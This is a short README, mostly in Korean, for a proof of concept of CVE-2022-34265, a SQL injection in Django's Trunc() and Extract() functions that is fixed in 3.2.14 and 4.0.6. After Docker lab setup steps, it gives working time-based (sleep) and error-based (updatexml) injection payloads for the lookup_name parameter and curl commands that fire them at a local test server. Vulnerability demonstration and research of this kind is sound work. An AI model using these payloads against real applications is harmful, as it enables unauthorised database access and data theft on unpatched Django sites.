
PoC for CVE-2022-34265
CVE-2022-34265에 대한 PoC
Django 3.2 (3.2.14 미만) 및 4.0 (4.0.6 미만)에서 문제가 발견되었습니다. Trunc() 및 Extract() 데이터베이스 함수는 신뢰할 수 없는 데이터가 kind/lookup_name 값으로 사용될 경우 SQL 인젝션에 취약합니다. 조회 이름 및 종류 선택을 알려진 안전 목록으로 제한하는 애플리케이션은 영향을 받지 않습니다.
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d
docker-compose down
Django>= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
YEAR FROM start_time)) ;select sleep(5)--
YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"
PS: 데이터베이스에 따라 취약점 존재 여부가 다릅니다. MYSQL 데이터베이스 백엔드의
Trunc함수에서는 취약점이 존재하지 않습니다.